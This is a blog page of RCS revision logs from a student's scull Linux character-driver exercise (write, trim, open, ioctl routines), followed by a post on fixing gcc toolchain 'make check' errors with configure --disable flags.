date: 2014/12/09 03:59:29; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.42
date: 2014/12/09 03:56:44; author: root; state: Exp; lines: +3 -0
*** empty log message ***
—————————-
revision 1.41
date: 2014/12/09 03:48:32; author: root; state: Exp; lines: +24 -5
print the value of nobtw and nobsw
—————————-
revision 1.40
date: 2014/12/09 01:40:08; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.39
date: 2014/12/09 01:36:24; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.38
date: 2014/12/09 01:34:25; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.37
date: 2014/12/09 01:30:23; author: root; state: Exp; lines: +1 -1
,
—————————-
revision 1.36
date: 2014/12/09 01:28:53; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.35
date: 2014/12/09 01:27:29; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.34
date: 2014/12/09 01:07:03; author: root; state: Exp; lines: +6 -0
*** empty log message ***
—————————-
revision 1.33
date: 2014/12/09 01:05:50; author: root; state: Exp; lines: +19 -1
*** empty log message ***
—————————-
revision 1.32
date: 2014/12/09 00:33:47; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.31
date: 2014/12/09 00:28:50; author: root; state: Exp; lines: +64 -39
change memory allocation method to scullqset,qset array and quantum
—————————-
revision 1.30
date: 2014/12/08 20:10:55; author: root; state: Exp; lines: +2 -1
print the address of first quantum to cross check
—————————-
revision 1.29
date: 2014/12/07 02:58:15; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.28
date: 2014/12/07 02:54:55; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.27
date: 2014/12/06 23:28:41; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.26
date: 2014/12/06 05:15:20; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.25
date: 2014/12/06 05:10:44; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.24
date: 2014/12/06 04:57:34; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.23
date: 2014/12/06 04:56:26; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.22
date: 2014/12/06 04:49:44; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.21
date: 2014/12/06 04:46:22; author: root; state: Exp; lines: +2 -1
*** empty log message ***
—————————-
revision 1.20
date: 2014/12/06 04:43:47; author: root; state: Exp; lines: +1 -0
printing the data
—————————-
revision 1.19
date: 2014/12/05 10:54:41; author: root; state: Exp; lines: +11 -8
use copy_from_user
—————————-
revision 1.18
date: 2014/12/05 10:19:40; author: root; state: Exp; lines: +44 -21
define createquantum()
—————————-
revision 1.17
date: 2014/12/05 08:46:50; author: root; state: Exp; lines: +2 -0
*** empty log message ***
—————————-
revision 1.16
date: 2014/12/05 08:37:25; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.15
date: 2014/12/05 07:52:55; author: root; state: Exp; lines: +5 -6
*** empty log message ***
—————————-
revision 1.14
date: 2014/12/05 07:34:20; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.13
date: 2014/12/05 07:27:07; author: root; state: Exp; lines: +3 -0
*** empty log message ***
—————————-
revision 1.12
date: 2014/12/05 07:18:57; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.11
date: 2014/12/05 07:08:02; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.10
date: 2014/12/05 07:07:11; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.9
date: 2014/12/05 07:01:10; author: root; state: Exp; lines: +22 -5
define createqset() function to allocate memory for qsetarray
—————————-
revision 1.8
date: 2014/12/04 22:24:56; author: root; state: Exp; lines: +6 -0
*** empty log message ***
—————————-
revision 1.7
date: 2014/12/04 22:21:50; author: root; state: Exp; lines: +40 -10
allocate memory for the scullqsets
—————————-
revision 1.6
date: 2014/12/04 19:56:57; author: root; state: Exp; lines: +14 -7
define the create scullqset function
—————————-
revision 1.5
date: 2014/12/04 18:44:34; author: root; state: Exp; lines: +2 -0
print the value of size and noqs
—————————-
revision 1.4
date: 2014/12/04 18:15:52; author: root; state: Exp; lines: +9 -2
implement the logic to get number of quantum qset
—————————-
revision 1.3
date: 2014/12/04 17:13:44; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.2
date: 2014/12/04 16:55:53; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.1
date: 2014/12/04 06:21:24; author: root; state: Exp;
Initial revision
RCS file: ./trim.c,v
Working file: ./trim.c
head: 1.3
branch:
locks: strict
root: 1.3
access list:
symbolic names:
keyword substitution: kv
total revisions: 3; selected revisions: 3
description:
this is trim function to Trim the scull for security perpose
—————————-
revision 1.3 locked by: root;
date: 2014/12/10 03:34:32; author: root; state: Exp; lines: +19 -2
*** empty log message ***
—————————-
revision 1.2
date: 2014/12/09 05:35:02; author: root; state: Exp; lines: +2 -0
*** empty log message ***
—————————-
revision 1.1
date: 2014/12/09 05:28:15; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./exit.c,v
Working file: ./exit.c
head: 1.20
branch:
locks: strict
root: 1.20
access list:
symbolic names:
keyword substitution: kv
total revisions: 20; selected revisions: 20
description:
module exit program
—————————-
revision 1.20 locked by: root;
date: 2014/12/04 06:21:24; author: root; state: Exp; lines: +5 -2
*** empty log message ***
—————————-
revision 1.19
date: 2014/11/29 18:42:57; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.18
date: 2014/11/29 18:35:38; author: root; state: Exp; lines: +4 -1
*** empty log message ***
—————————-
revision 1.17
date: 2014/11/29 06:31:46; author: root; state: Exp; lines: +1 -6
*** empty log message ***
—————————-
revision 1.16
date: 2014/11/29 06:24:46; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.15
date: 2014/11/29 05:42:39; author: root; state: Exp; lines: +6 -1
delete cdev for more than one devices by using for loop
—————————-
revision 1.14
date: 2014/11/29 04:56:24; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.13
date: 2014/11/28 05:21:02; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.12
date: 2014/11/28 05:11:50; author: root; state: Exp; lines: +3 -0
use __func__
—————————-
revision 1.11
date: 2014/11/28 04:56:30; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.10
date: 2014/11/28 04:54:23; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.9
date: 2014/11/28 04:51:17; author: root; state: Exp; lines: +2 -0
use DEBUG macro
—————————-
revision 1.8
date: 2014/11/28 04:40:31; author: root; state: Exp; lines: +1 -0
remove cdev structure using cdev_del()
—————————-
revision 1.7
date: 2014/11/27 03:42:36; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.6
date: 2014/11/27 01:06:02; author: root; state: Exp; lines: +1 -3
free momory for sculldev
—————————-
revision 1.5
date: 2014/11/26 23:09:48; author: root; state: Exp; lines: +1 -1
use major number and minor numnber
—————————-
revision 1.4
date: 2014/11/26 22:44:47; author: root; state: Exp; lines: +5 -2
define ungergister_chrdev_region for unregister the device
—————————-
revision 1.3
date: 2014/11/26 20:50:30; author: root; state: Exp; lines: +0 -1
remove multiple defination of majorno
—————————-
revision 1.2
date: 2014/11/25 16:18:17; author: root; state: Exp; lines: +1 -1
define mudule_exit function
unregistered device using unregister_chrdev function
—————————-
revision 1.1
date: 2014/11/25 15:59:38; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./application.c,v
Working file: ./application.c
head: 1.19
branch:
locks: strict
root: 1.19
access list:
symbolic names:
keyword substitution: kv
total revisions: 19; selected revisions: 19
description:
this is application file to make a entry point in VFS using mknod and open call
—————————-
revision 1.19 locked by: root;
date: 2014/12/09 04:24:01; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.18
date: 2014/12/09 04:21:52; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.17
date: 2014/12/09 01:43:17; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.16
date: 2014/12/09 01:40:54; author: root; state: Exp; lines: +1 -1
read the data from the scull successfully using copy_to_user..
—————————-
revision 1.15
date: 2014/12/05 11:39:52; author: root; state: Exp; lines: +2 -2
enable read call
—————————-
revision 1.14
date: 2014/12/05 07:21:54; author: root; state: Exp; lines: +4 -4
*** empty log message ***
—————————-
revision 1.13
date: 2014/12/04 18:44:34; author: root; state: Exp; lines: +2 -2
change the size of write call
—————————-
revision 1.12
date: 2014/12/04 18:29:41; author: root; state: Exp; lines: +1 -1
open in RD_ONLY mode
—————————-
revision 1.11
date: 2014/12/04 17:27:40; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.10
date: 2014/12/04 17:16:28; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.9
date: 2014/12/04 17:00:33; author: root; state: Exp; lines: +3 -2
print read fd
—————————-
revision 1.8
date: 2014/12/04 16:57:38; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.7
date: 2014/12/04 16:46:21; author: root; state: Exp; lines: +26 -14
write error conditions in open function
—————————-
revision 1.6
date: 2014/12/04 06:38:35; author: root; state: Exp; lines: +0 -1
*** empty log message ***
—————————-
revision 1.5
date: 2014/12/04 06:36:45; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.4
date: 2014/12/04 06:31:56; author: root; state: Exp; lines: +7 -0
give write and read call
—————————-
revision 1.3
date: 2014/12/01 07:49:07; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.2
date: 2014/12/01 07:46:55; author: root; state: Exp; lines: +2 -1
print fd
—————————-
revision 1.1
date: 2014/12/01 06:52:39; author: root; state: Exp;
Initial revision
=============================================================================

RCS file: ./file.h,v
Working file: ./file.h
head: 1.5
branch:
locks: strict
root: 1.5
access list:
symbolic names:
keyword substitution: kv
total revisions: 5; selected revisions: 5
description:
this file is for define own open and release routine
—————————-
revision 1.5 locked by: root;
date: 2014/12/05 11:39:52; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.4
date: 2014/12/04 17:27:40; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.3
date: 2014/12/04 06:21:24; author: root; state: Exp; lines: +3 -1
intialize write and read function pointer
—————————-
revision 1.2
date: 2014/12/01 08:00:46; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.1
date: 2014/12/01 06:54:10; author: root; state: Exp;
Initial revision
=============================================================================
[root@VIPIN 1.char_dri_o_r_w_r]#

Posted in Uncategorized | Leave a comment

trim the sculldev

RCS file: RCS/dev_trim.c,v
597 Working file: dev_trim.c
598 head: 1.34
599 branch:
600 locks: strict
601         root: 1.34
602 access list:
603 symbolic names:
604 keyword substitution: kv
605 total revisions: 34;    selected revisions: 34
606 description:
607 this file is used to trim the scull
608 —————————-
609 revision 1.34   locked by: root;
610 date: 2014/12/19 11:53:53;  author: root;  state: Exp;  lines: +1 -1
611 *** empty log message ***
612 —————————-
613 revision 1.33
614 date: 2014/12/19 11:48:03;  author: root;  state: Exp;  lines: +0 -1
615 *** empty log message ***
616 —————————-
617 revision 1.32
618 date: 2014/12/19 09:58:10;  author: root;  state: Exp;  lines: +1 -1
619 *** empty log message ***
620 —————————-
621 revision 1.31
622 date: 2014/12/14 17:46:59;  author: root;  state: Exp;  lines: +0 -6
623 *** empty log message ***
624 —————————-
625 revision 1.30
626 date: 2014/12/14 11:55:03;  author: root;  state: Exp;  lines: +4 -1
free all the valid quantum one by one in reverse order
652 —————————-
653 revision 1.23
654 date: 2014/12/11 10:38:20;  author: root;  state: Exp;  lines: +1 -1
655 finding last valid quantum in last scullqset
656 —————————-
657 revision 1.22
658 date: 2014/12/11 10:32:57;  author: root;  state: Exp;  lines: +12 -31
659 find the last and second last scullqset
660 —————————-
661 revision 1.21
662 date: 2014/12/09 06:23:53;  author: root;  state: Exp;  lines: +15 -2
663 put all the printk statement inside #ifdefine DEBUG
664 —————————-
665 revision 1.20
666 date: 2014/12/08 10:27:41;  author: root;  state: Exp;  lines: +2 -2
667 *** empty log message ***
668 —————————-
669 revision 1.19
670 date: 2014/12/08 10:25:07;  author: root;  state: Exp;  lines: +18 -4
671 free the second last scullqset
reach at the last scullqset and free the memory of all quantam of last scullqset
720 —————————-
721 revision 1.6
722 date: 2014/12/01 14:30:34;  author: root;  state: Exp;  lines: +0 -2
723 omit OUT lable as not use yet
724 —————————-
725 revision 1.5
726 date: 2014/12/01 11:27:33;  author: root;  state: Exp;  lines: +0 -1
727 testing
728 —————————-
729 revision 1.4
730 date: 2014/12/01 11:26:05;  author: root;  state: Exp;  lines: +2 -2
731 testing
date: 2014/12/01 11:13:05;  author: root;  state: Exp;  lines: +2 -2
735 chage the formal argument type from ScullQset to ScullDev
736 —————————-
737 revision 1.2
738 date: 2014/12/01 10:51:30;  author: root;  state: Exp;  lines: +2 -0
739 print begin and end of function
740 —————————-

Posted in Character Driver | Leave a comment

llseek implementation

RCS file: RCS/dev_llseek.c,v
896 Working file: dev_llseek.c
897 head: 1.1
898 branch:
899 locks: strict
900         root: 1.1
901 access list:
902 symbolic names:
903 keyword substitution: kv
904 total revisions: 1;     selected revisions: 1
905 description:
906 this llseek file

Posted in Character Driver | Leave a comment

ioctl implementation

RCS file: RCS/dev_ioctl.c,v
914 Working file: dev_ioctl.c
915 head: 1.6
916 branch:
917 locks: strict
918         root: 1.6
919 access list:
920 symbolic names:
921 keyword substitution: kv
922 total revisions: 6;     selected revisions: 6
923 description:
924 This is our ioctl implementatuion  routine
925 —————————-
926 revision 1.6    locked by: root;
927 date: 2014/12/19 10:50:59;  author: root;  state: Exp;  lines: +4 -2
928 prototype for ioctl
929 —————————-
930 revision 1.5
931 date: 2014/12/19 09:58:14;  author: root;  state: Exp;  lines: +1 -0
932 mapped to routine
933 —————————-
934 revision 1.4
935 date: 2014/12/19 09:42:49;  author: root;  state: Exp;  lines: +7 -0
936 *** empty log message ***
937 —————————-
938 revision 1.3
939 date: 2014/12/19 08:05:19;  author: root;  state: Exp;  lines: +1 -0
940 *** empty log message ***
941 —————————-

Posted in Character Driver | Leave a comment

write routine for character driver

RCS file: write_dev.c,v
Working file: write_dev.c
head: 1.37
branch:
locks: strict
root: 1.37
access list:
symbolic names:
keyword substitution: kv
total revisions: 37; selected revisions: 37
description:
start dev_write()
—————————-
revision 1.37 locked by: root;
date: 2014/12/15 04:29:54; author: root; state: Exp; lines: +11 -7
change condition for if statement for writing data to kernel buffer
—————————-
revision 1.36
date: 2014/12/13 11:18:22; author: root; state: Exp; lines: +1 -1
perform checking
—————————-
revision 1.35
date: 2014/12/10 21:52:14; author: root; state: Exp; lines: +6 -0
add NULL to the last quantum.
—————————-
revision 1.34
date: 2014/12/09 02:55:05; author: root; state: Exp; lines: +3 -3
*** empty log message ***
—————————-
revision 1.33
date: 2014/12/09 02:53:14; author: root; state: Exp; lines: +8 -2
do mapping for read with read_dev()
—————————-
revision 1.32
date: 2014/12/09 02:30:39; author: root; state: Exp; lines: +1 -1
change prototype for write_data()
—————————-
revision 1.31
date: 2014/12/09 02:28:25; author: root; state: Exp; lines: +27 -17
*** empty log message ***
—————————-
revision 1.30
date: 2014/12/09 02:09:07; author: root; state: Exp; lines: +4 -4
*** empty log message ***
—————————-
revision 1.29
date: 2014/12/09 02:04:50; author: root; state: Exp; lines: +5 -5
*** empty log message ***
—————————-
revision 1.28
date: 2014/12/09 02:03:12; author: root; state: Exp; lines: +5 -4
*** empty log message ***
—————————-
revision 1.27
date: 2014/12/09 01:05:25; author: root; state: Exp; lines: +11 -4
modify write program
—————————-
revision 1.26
date: 2014/12/07 22:06:36; author: root; state: Exp; lines: +3 -2
*** empty log message ***
—————————-
revision 1.25
date: 2014/12/07 22:05:08; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.24
date: 2014/12/07 22:04:12; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.23
date: 2014/12/07 22:01:45; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.22
date: 2014/12/07 21:58:59; author: root; state: Exp; lines: +6 -7
*** empty log message ***
—————————-
revision 1.21
date: 2014/12/07 17:59:51; author: root; state: Exp; lines: +44 -7
define func write_data()
—————————-
revision 1.20
date: 2014/12/07 17:35:43; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.19
date: 2014/12/07 17:34:47; author: root; state: Exp; lines: +1 -1
remove error
—————————-
revision 1.18
date: 2014/12/07 17:33:05; author: root; state: Exp; lines: +32 -0
write func create_quantum()
—————————-
revision 1.17
date: 2014/12/07 17:19:14; author: root; state: Exp; lines: +9 -2
check the success condition for func create_qset()
—————————-
revision 1.16
date: 2014/12/07 17:15:30; author: root; state: Exp; lines: +12 -0
write func to create qset array
—————————-
revision 1.15
date: 2014/12/07 10:23:26; author: root; state: Exp; lines: +1 -2
find out number of quantum to create
—————————-
revision 1.14
date: 2014/12/07 10:21:44; author: root; state: Exp; lines: +2 -2
remove error
—————————-
revision 1.13
date: 2014/12/07 10:19:06; author: root; state: Exp; lines: +18 -9
write base code for fun create_qset
write fun create_scullqset()
—————————-
revision 1.12
date: 2014/12/06 10:43:41; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.11
date: 2014/12/06 10:38:44; author: root; state: Exp; lines: +9 -2
find number of quantum to create to store data
—————————-
revision 1.10
date: 2014/12/06 10:24:00; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.9
date: 2014/12/06 10:19:05; author: root; state: Exp; lines: +1 -1
remove error
—————————-
revision 1.8
date: 2014/12/06 10:17:15; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.7
date: 2014/12/06 10:14:56; author: root; state: Exp; lines: +37 -0
define function create_qset to create qset used to store data
—————————-
revision 1.6
date: 2014/12/06 09:11:13; author: root; state: Exp; lines: +4 -0
get the value of no of qsets used to write data
—————————-
revision 1.5
date: 2014/12/06 09:10:11; author: root; state: Exp; lines: +1 -0
*** empty log message ***
—————————-
revision 1.4
date: 2014/12/06 09:06:59; author: root; state: Exp; lines: +7 -0
declare a variable size to find size of qset
declare variable noqset to store the value of no of qsets used to write the provided data
—————————-
revision 1.3
date: 2014/12/06 08:19:18; author: root; state: Exp; lines: +0 -4
*** empty log message ***
—————————-
revision 1.2
date: 2014/12/06 08:07:02; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.1
date: 2014/12/06 07:51:10; author: root; state: Exp;
Initial revision
=============================================================================

Posted in Uncategorized | Leave a comment

Trim() for character driver

RCS file: trim.c,v
Working file: trim.c
head: 1.14
branch:
locks: strict
root: 1.14
access list:
symbolic names:
keyword substitution: kv
total revisions: 14; selected revisions: 14
description:
—————————-
revision 1.14 locked by: root;
date: 2014/12/13 11:18:22; author: root; state: Exp; lines: +13 -2
perform checking
—————————-
revision 1.13
date: 2014/12/13 10:42:16; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.12
date: 2014/12/13 09:18:31; author: root; state: Exp; lines: +3 -20
debuging
—————————-
revision 1.11
date: 2014/12/13 09:10:37; author: root; state: Exp; lines: +4 -4
*** empty log message ***
—————————-
revision 1.10
date: 2014/12/13 08:51:22; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.9
date: 2014/12/13 08:12:14; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.8
date: 2014/12/13 08:09:33; author: root; state: Exp; lines: +31 -23
modify trim
—————————-
revision 1.7
date: 2014/12/12 11:41:24; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.6
date: 2014/12/12 11:22:46; author: root; state: Exp; lines: +3 -2
modify trim
—————————-
revision 1.5
date: 2014/12/12 11:13:36; author: root; state: Exp; lines: +3 -3
modify trim
—————————-
revision 1.4
date: 2014/12/11 10:19:24; author: root; state: Exp; lines: +3 -1
*** empty log message ***
—————————-
revision 1.3
date: 2014/12/11 09:36:47; author: root; state: Exp; lines: +30 -1
write trim()
kfree the quantum and qset
—————————-
revision 1.2
date: 2014/12/09 01:53:00; author: root; state: Exp; lines: +1 -1
change prototype for trim()
—————————-
revision 1.1
date: 2014/12/09 01:50:41; author: root; state: Exp;
Initial revision
=============================================================================

Posted in Character Driver | Leave a comment

open() routine for character driver

RCS file: open_dev.c,v
Working file: open_dev.c
head: 1.12
branch:
locks: strict
root: 1.12
access list:
symbolic names:
keyword substitution: kv
total revisions: 12; selected revisions: 12
description:
open function for character driver is declared in this file
—————————-
revision 1.12 locked by: root;
date: 2014/12/11 09:36:47; author: root; state: Exp; lines: +1 -1
modify proototype for trim
—————————-
revision 1.11
date: 2014/12/09 01:53:00; author: root; state: Exp; lines: +1 -1
change prototype for trim()
—————————-
revision 1.10
date: 2014/12/09 01:13:22; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.9
date: 2014/12/09 01:05:25; author: root; state: Exp; lines: +5 -0
modify write program
—————————-
revision 1.8
date: 2014/12/07 23:30:36; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.7
date: 2014/12/07 23:29:53; author: root; state: Exp; lines: +3 -2
*** empty log message ***
—————————-
revision 1.6
date: 2014/12/06 08:05:08; author: root; state: Exp; lines: +2 -2
*** empty log message ***
—————————-
revision 1.5
date: 2014/12/05 02:06:34; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.4
date: 2014/12/05 02:04:07; author: root; state: Exp; lines: +1 -1
*** empty log message ***
—————————-
revision 1.3
date: 2014/12/02 11:52:28; author: root; state: Exp; lines: +20 -0
declared a local variable of type struct ScullDev to point to memory of device
use container_of to map i_cdev of struct inode with c_dev of struct ScullDev
—————————-
revision 1.2
date: 2014/12/02 10:55:58; author: root; state: Exp; lines: +4 -2
there was an error in printk() statement
remove that error
—————————-
revision 1.1
date: 2014/12/02 10:50:45; author: root; state: Exp;
Initial revision
=============================================================================

Posted in Character Driver | Leave a comment

Toolchain(Compiling gcc)

Encountered error while running make check in buid-gcc after running make.

/bin/sh: line 3: cd: x86_64-unknown-linux-gnu/libstdc++-v3: No such file or directory
make[1]: *** [check-target-libstdc++-v3] Error 1
make[1]: Leaving directory `/home/emblogic/TOOLCHAIN/build-tools/build-gcc’
make: *** [do-check] Error 2

After using –enable-languages=”c” during configuration libstdc++-v3 error resolved. Now the error is for libmudflap.
How to disable libmudflap???

/bin/sh: line 3: cd: x86_64-unknown-linux-gnu/libmudflap: No such file or directory
make[1]: *** [check-target-libmudflap] Error 1
make[1]: Leaving directory `/home/emblogic/TOOLCHAIN/build-tools/build-gcc’
make: *** [do-check] Error 2

After using –disable-libmudflap, I got error below mentioned:

/bin/sh: line 3: cd: x86_64-unknown-linux-gnu/libssp: No such file or directory
make[1]: *** [check-target-libssp] Error 1
make[1]: Leaving directory `/home/emblogic/TOOLCHAIN/build-tools/build-gcc’
make: *** [do-check] Error 2

Used –disable-libssp

/bin/sh: line 3: cd: x86_64-unknown-linux-gnu/libgomp: No such file or directory
make[1]: *** [check-target-libgomp] Error 1
make[1]: Leaving directory `/home/emblogic/arm/TOOLCHAIN/build-tools/build-gcc’
make: *** [do-check] Error 2

Finally after disabling the flag libgomp. There is no error after make check. Compiled and installed gcc successfully…
Used –disable-libgomp
Snapshot:

PASS: test-expandargv-0.
PASS: test-expandargv-1.
PASS: test-expandargv-2.
PASS: test-expandargv-3.
PASS: test-expandargv-4.
PASS: test-expandargv-5.
PASS: test-expandargv-6.
make[3]: Leaving directory `/home/emblogic/arm/TOOLCHAIN/build-tools/build-gcc/libiberty/testsuite’
make[2]: Leaving directory `/home/emblogic/arm/TOOLCHAIN/build-tools/build-gcc/libiberty’
make[1]: Nothing to be done for `check-target’.
make[1]: Leaving directory `/home/emblogic/arm/TOOLCHAIN/build-tools/build-gcc’

Posted in Project 9: Embedded Linux on ARM | Leave a comment